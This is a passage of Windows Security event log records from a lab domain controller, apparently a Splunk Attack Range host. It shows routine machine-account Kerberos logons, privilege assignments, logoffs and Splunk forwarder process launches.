	Account Domain:		ATTACKRANGE
	Logon ID:		0x483E24

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256938
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x483D16
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59205

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:57:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256937
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x483D16

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:57:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256950
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x630
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:57:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256949
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x530
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:57:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256951
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x483EDE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:57:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256954
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x485FBA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:57:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256953
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x485FBA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59218

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:57:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256952
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x485FBA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:58:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256955
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf60
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:58:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256956
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:58:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256957
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:58:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256958
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc10
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:58:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256959
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:58:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256961
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x107c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:58:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256960
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x77c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:58:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256964
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x489519

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:58:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256963
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x489519
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59231

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:58:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256962
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x489519

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:59:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256965
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x47c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:59:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256966
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:59:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256967
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1374
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:59:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256968
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:59:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
